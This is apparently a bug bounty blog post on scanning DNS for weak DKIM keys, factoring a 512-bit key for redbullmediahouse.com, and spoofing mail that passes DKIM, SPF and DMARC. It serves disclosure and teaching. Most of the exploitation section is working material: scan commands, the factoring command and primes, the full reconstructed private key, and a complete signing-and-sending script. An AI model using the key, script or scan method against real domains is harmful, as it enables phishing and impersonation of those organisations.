Hunting weak DKIM keys for fun, profit and RedBull

This post details the discovery and exploitation of weak DKIM (DomainKeys Identified Mail) keys. By scanning for weak DKIM keys and cracking them, I was able to demonstrate the ability to spoof emails that pass DKIM, SPF and DMARC checks. My reports resulted in bug bounty rewards, hall of fame recognition and a lifetime supply of Red Bull :)

Background

DomainKeys Identified Mail (DKIM) is an email authentication method that allows a receiving mail server to verify whether the mail was authorized by the owner of the domain. To do so, the sender attaches a DKIM-signature to an email, and the receiver verifies this signature by retrieving the public key through DNS. When the DKIM check passes, the mail is accepted and put into the Inbox (also resulting in a DMARC=pass).

Because of increasing compute power, RSA keys of 512 bits can nowadays be cracked in a reasonable amount of time. Therefore, the DKIM RFC 6376 from 2011 states

Signers MUST use RSA keys of at least 1024 bits

and the latest update in RFC 8301 from 2018 even added the line

Signers SHOULD use RSA keys of at least 2048 bits

Therefore, weak DKIM keys of 1024 bits and below should not be used anymore, and exposing them introduces a security risk as attackers can crack and use them to spoof emails.

Discovery

DKIM keys are published through DNS TXT records under the subdomain <selector>._domainkey.example.com. The <selector> can vary greatly from domain to domain, which makes scanning for them challenging. Luckily, there are some lists available of common selectors from previous work which you can find here, here and here.

I used these common selectors and a private list of bugbounty and VDP domains (public list here) to scan for DKIM keys. To perform the DNS queries, I used zdns, a DNS scanner that is able to perform a huge amount of queries in a short amount of time. See the full command below:

comb -s "._domainkey." selectors.txt domains.txt | zdns TXT --name-servers=8.8.8.8,8.8.4.4,1.1.1.1 | grep -i DKIM1 | anew dkim.json

Then to extract the key sizes from the JSON I wrote a small Python script:

import json
from dkim import evaluate_pk

FILE = "dkim.json"
MAX_KEY_SIZE = 1024

for line in open(FILE, "r").readlines():
    dns_query = json.loads(line)
    answers = dns_query["data"].get("answers", [])
    for answer in answers:
        name = answers[0]["name"]
        record = answer.get("answer", "")
        try:
            _, keysize, _, _ = evaluate_pk(name, record)
            if keysize < MAX_KEY_SIZE:
                print(f"Key size: {keysize} bits  DNS: {name}")
        except:
            continue

Which gave me several hits:

Key size: 512 bits  DNS: default._domainkey.redbullmediahouse.com
Key size: 768 bits  DNS: default._domainkey.REDACTED1
Key size: 512 bits  DNS: dk._domainkey.REDACTED2
Key size: 384 bits  DNS: dkim._domainkey.exact.com
Key size: 384 bits  DNS: dkim._domainkey.exactonline.nl
Key size: 384 bits  DNS: dkim._domainkey.luchtmacht.nl
Key size: 384 bits  DNS: dkim._domainkey.tue.nl
Key size: 384 bits  DNS: dkim._domainkey.coolblue.nl

Exploitation

1. Find a weak DKIM key, in this example we use the 512 bit DKIM key found on default._domainkey.redbullmediahouse.com

   dig default._domainkey.redbullmediahouse.com TXT +short
   "v=DKIM1; g=*; k=rsa; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALDYB8GSFmkSM2PdTXuw7Nx6lWESFagsJMAXPyt6NI1WsVRK14WTAZALoDisGZGksWdSRWO+oDzi/2Qzompkid8CAwEAAQ=="
   

   Convert public key in the DNS record to a modulus with the python below:

   >>> import base64
   >>> from dkim.crypto import parse_public_key
   >>> DKIM_KEY = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALDYB8GSFmkSM2PdTXuw7Nx6lWESFagsJMAXPyt6NI1WsVRK14WTAZALoDisGZGksWdSRWO+oDzi/2Qzompkid8CAwEAAQ=="
   >>> parse_public_key(base64.b64decode(DKIM_KEY))["modulus"]
   9262064923494445519460882040780267792113795218513507109695027426863479318901551094943768105600108976536832568883233584659643658727987071270507830934014431
   

2. Crack the weak key using Cado-NFS. Huge shoutout to Bakker IT for lending me a 40-core server for this, cracking the 512 bit key took about 2 days.

   python cado-nfs.py 9262064923494445519460882040780267792113795218513507109695027426863479318901551094943768105600108976536832568883233584659643658727987071270507830934014431
   

   Resulted in the prime factors 89679888184138141656421636713443327381722295880216025359539586899437515777827 and 103279175643894760936665501273626395945751271297430041387071230126744879864853

3. Now that we have the prime factors, we can reconstruct the private key, check this blogpost for more details

   -----BEGIN PRIVATE KEY-----
   MIIBVgIBADANBgkqhkiG9w0BAQEFAASCAUAwggE8AgEAAkEAsNgHwZIWaRIzY91N
   e7Ds3HqVYRIVqCwkwBc/K3o0jVaxVErXhZMBkAugOKwZkaSxZ1JFY76gPOL/ZDOi
   amSJ3wIDAQABAkEArI8P+m0fWwV8icyux6xbY8RlsKOh6Eiyz5GffUAwuVwnRH7w
   gZ9MHxxDNiFdmlmvDZYNBys/MKoNMbKTYLR8iQIhAMZFBJh0pb2pT2jVEkJFRDQJ
   qXdxHFAzctb22qTm7ScjAiEA5FXxH1zT/Xi3z8LLY7o2Fx6Kae9qFBHGmnaIJ9N9
   nBUCIGKgAmEz5R4rEm07UBHXEs4v4DSh90uNzBpSQQC2PlGxAiEAqgiBpUw4JOHX
   Z2R0lxAcpXy9sAN0J/vQvEeWPqoUOL0CIQCh1CRFuwBOchMn4ZQQ8TGikevz8/+2
   Nw8W+A/XeVvP8g==
   -----END PRIVATE KEY-----
   

4. With the private key we can now sign and send a spoofed email from the domain.

   import dkim
   import email
   import smtplib
   from dns import resolver
   
   NAME = "RedBull"
   DOMAIN = "redbullmediahouse.com"
   FROM_MAIL = f"mail@{DOMAIN}"
   TO_MAIL = "example@yahoo.com"
   
   # Construct the email
   msg = email.message.Message()
   msg["To"] = TO_MAIL
   msg["From"] = f"{NAME} <{FROM_MAIL}>"
   msg["Subject"] = f"DKIM: {NAME} 512 bits test"
   msg["Date"] = email.utils.formatdate()
   msg["Message-ID"] = email.utils.make_msgid(domain=DOMAIN)
   msg["Content-Type"] = "text/plain; charset=UTF-8"
   msg.set_payload("Hi, does this verify? Thanks")
   
   # Add DKIM signature
   with open("private.pem") as f:
       private_key = f.read()
       sig = dkim.sign(
           message=msg.as_bytes(),
           selector=b"default",
           domain=DOMAIN.encode(),
           privkey=private_key.encode(),
           include_headers=[b"To", b"From", b"Subject", b"Date", b"Message-ID"],
           identity=f"mail@{DOMAIN}".encode(),
       )
       msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
   
   # Send the email
   smtp_session = smtplib.SMTP(
       host=str(resolver.resolve(TO_MAIL.split("@")[1], "MX")[0].exchange),
       local_hostname="yourserver.com",
   )
   smtp_session.sendmail(FROM_MAIL, [TO_MAIL], msg.as_bytes())
   

5. The mail is accepted with a DKIM=pass, SPF=pass and DMARC=pass

   Authentication-Results: atlas317.free.mail.ne1.yahoo.com;
      dkim=pass header.i=@redbullmediahouse.com header.s=default;
      spf=pass smtp.mailfrom=yourserver.com;
      dmarc=pass(p=REJECT) header.from=redbullmediahouse.com;
   

   The mail lands in the Inbox and the receiver has no way to tell it was spoofed:

Solution

Remove the DNS record containing the weak DKIM key or upgrade to a stronger key.

Timeline

Limitations

Mailservers that receive mails which are signed with weak DKIM keys can choose not to verify them, however still many mail providers do as they follow RFC 6376 which states

Verifiers MUST be able to validate keys from 512 bits to 2048 bits

More details about mail providers and their DKIM policies will be released in a later blogpost.